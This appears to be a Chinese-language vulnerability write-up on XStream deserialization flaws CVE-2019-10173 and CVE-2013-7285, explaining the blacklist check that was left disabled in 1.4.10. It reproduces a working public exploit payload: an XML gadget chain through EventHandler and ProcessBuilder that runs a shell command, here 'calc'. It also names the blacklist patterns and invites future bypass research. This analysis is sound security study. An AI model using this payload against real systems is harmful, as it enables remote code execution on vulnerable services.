漏洞描述:
CVE-2019-10173:
发现 XStream API 版本 1.4.10 及之前版本在 1.4.11 之前引入了一个先前反序列化漏洞的回归问题。如果安全框架尚未初始化,远程攻击者在反序列化 XML 或任何受支持的格式(例如 JSON)时,可能会执行任意 shell 命令。(CVE-2013-7285 的回归)
CVE-2013-7285:
在 Xstream API 版本 1.4.6 及以下版本和 1.4.10 版本中,如果安全框架尚未初始化,远程攻击者可能会通过在反序列化 XML 或任何受支持的格式(例如 JSON)时操纵处理后的输入流来运行任意 shell 命令。
可以看到两个都是安全框架尚未初始化尚未初始化的问题,理论上也就是一个问题,只是1.4.10发布的时候开发修改了安全方法但是忘记开启了,研究这个首先要大概了解下XStream具体做什么
XStream是一个用于将 Java 对象与 XML 相互转换的库
编写个测试代码
public class Main {public static void main(String[] args) {XStream xstream = new XStream();// 序列化Person person = new Person("John", 30);String xml = xstream.toXML(person);System.out.println(xml);// 反序列化Person newPerson = (Person) xstream.fromXML(xml);System.out.println(newPerson);}
}class Person {private String name;private int age;public Person(String name, int age) {this.name = name;this.age = age;}@Overridepublic String toString() {return "Person{name='" + name + "', age=" + age + "}";}
}
看下输出结果
可以看到利用XStream我们可以将输出的参数转换为xml数据,然后使用fromXML可以将xml数据转化为对应的类,上面的红字其实已经发出警告没有经过安全初始化
Security framework of XStream not initialized, XStream is probably vulnerable.
利用:
利用代码网上很多,这里随便找了个公开的poc进行测试
public static void shell(){try {// 创建 XStream 实例XStream xStream = new XStream();String payload = "<sorted-set>\n" +" <string>foo</string>\n" +" <dynamic-proxy>\n" +" <interface>java.lang.Comparable</interface>\n" +" <handler class=\"java.beans.EventHandler\">\n" +" <target class=\"java.lang.ProcessBuilder\">\n" +" <command>\n" +" <string>cmd.exe</string>\n" +" <string>/c</string>\n" +" <string>calc</string>\n" +" </command>\n" +" </target>\n" +" <action>start</action>"+" </handler>\n" +" </dynamic-proxy>\n" +"</sorted-set>\n";// 解析 payloadxStream.fromXML(payload);} catch (Exception e) {e.printStackTrace();}}
这里需要注意jdk的版本,在 Java 9 及更高版本中,模块系统增强了对访问权限的控制。如果你在使用反射访问私有字段时遇到如下错误
遇到这个问题可以在运行 Java 应用程序时添加 JVM 参数,以开放特定的模块和包。如使用以下参数:
--add-opens java.base/java.util=ALL-UNNAMED
或者降低到1.8版本测试,测试发现可以正常执行命令
分析:
下面我们分析下poc,分析前要理解下对应的xml标签的含义
<array>: 表示一个数组。 <null>: 表示一个 null 值。 <item>: 通常用于列表或集合中的单个元素。 <string>: 用于表示字符串值,通常用于存储简单数据类型。<class>: 指定 Java 类的全名,用于反序列化时识别对象的类型。 <field>: 表示一个类的字段。可以用于自定义字段的名称或映射。 <sorted-set>: 这是根元素,表示一个有序集合(SortedSet)。在这里,它包含了多个元素。 <dynamic-proxy>: 这个元素表示要创建一个动态代理对象。 <interface>: 这个元素指定了代理对象要实现的接口,在这个例子中是 java.lang.Comparable。这个接口允许对象进行比较,通常用于排序。 <handler>: 定义动态代理对象的处理器。处理器可以是一个实现了 InvocationHandler 接口的类。 <target>: 定义处理器的目标对象。目标对象可以是任何 Java 对象,处理器会将方法调用转发到这个目标对象。 <command>: 这个子元素包含要执行的命令。 <action>: 指定代理对象的方法调用动作。 <converter>: 指定自定义转换器,用于处理特定类型的序列化和反序列化。 <alias>: 用于创建类名的别名,方便在 XML 中使用更简短或更友好的名称。
知道了上面的我们来看下最重要的三个参数
<interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder">
我们知道java.lang.ProcessBuilder主要用于命令的执行,但是为何要使用java.lang.Comparable和java.beans.EventHandler
首先使用java.lang.Comparable是因为在565行处需要将interface中的类转换为Comparable
如果使用其他类,如果该类没有继承自Comparable,到上述位置就会出现转换类型失败
为何要用 java.beans.EventHandler作为事件处理函数,首先我们看到我们使用后续使用了target class=
<target class=\"java.lang.ProcessBuilder\">
这里需要将java.lang.ProcessBuilder设置到target中
查看对应的target可以看到
这里需要使用EventHandler设置动态代理,具体的代理函数为ProcessBuilder
<command><string>cmd.exe</string><string>/c</string><string>calc</string> </command> <action>start</action>
通过设置对应的command的三个参数为cmd.exe /c calc 然后使用action标签指定调用代理对象的start方法
最后就完成了执行
初始化开关:
首先会进行黑名单校验方法的装载
其中InternalBlackList 类实现了 Converter 接口,并重写了 canConvert、marshal 和 unmarshal 方法
当canConvert(type) 返回 true,则表示该转换器支持目标类型,则会调用InternalBlackList中的unmarshal方法,即抛出异常,终止执行,否则则表示不支持目标类型,则会调用默认的unmarshal方法进而执行
以上是InternalBlackList的执行逻辑;下面看下两个版本中触发黑名单的逻辑:
1.4.10版本中虽然开始insecureWarning设置为了true
但是unmarshal方法中又修改为了false:
进入该方法中可以看到insecureWarning为false:
分析下该方法:
类型检查:
- Void.TYPE 和 Void.class 检查:如果 type 是 Void.TYPE 或 Void.class,则返回 true。
- 如果 XStream.this.insecureWarning 为 true,并且 type 不为 null,并且满足以下条件之一,则返回 true:
- type 的名称是 java.beans.EventHandler。
- type 的名称以 $LazyIterator 结尾。
- type 的名称以 javax.crypto. 开头。
下面看下11.1版本的,首先设置securityInitialized为false:
后续没有对securityInitialized进行修改,仅设置this.securityWarningGiven为true;
进入canConvert中由于securityInitialized为false,当存在EventHandler返回true
分析下该方法:
类型检查:
- 如果 type 不是 Void.class,并且满足以下条件之一,则返回 false:
- this.this$0.securityInitialized 为 true。
- type 为 null。
- type 的名称不是 java.beans.EventHandler,且不以 $LazyIterator 结尾,且不以 javax.crypto. 开头。
总结下两个方法:
10版本仅依赖 insecureWarning 来决定是否允许某些类的转换,并且由于设置为了false,则不会去校验是否存在java.beans.EventHandler,则默认返回false,则绕过了安全检测,进而导致了该漏洞
11.1版本securityInitialized默认为false,当存在java.beans.EventHandler的时候会返回true,则会进入对于的InternalBlackList的unmarshal方法,进而防止了该漏洞
总结:
总结下其防御方法是通过InternalBlackList 实现 Converter 接口,重写 canConvert、marshal 和 unmarshal 方法,当存在如下三种情况的时候会触发报异常
java.beans.EventHandler 存在则触发 "$LazyIterator" 结尾触发 javax.crypto. 起始匹配
另外存在一个securityInitialized来判断是否需要安全初始化,漏洞的原因估计是开发人员为了调试方便关闭了安全检测,发布的时候忘记开启进而触发,但是检测时黑名单校验,如果能找到方法绕过上面三个规则同样也可以执行,后续有时间了可以研究下绕过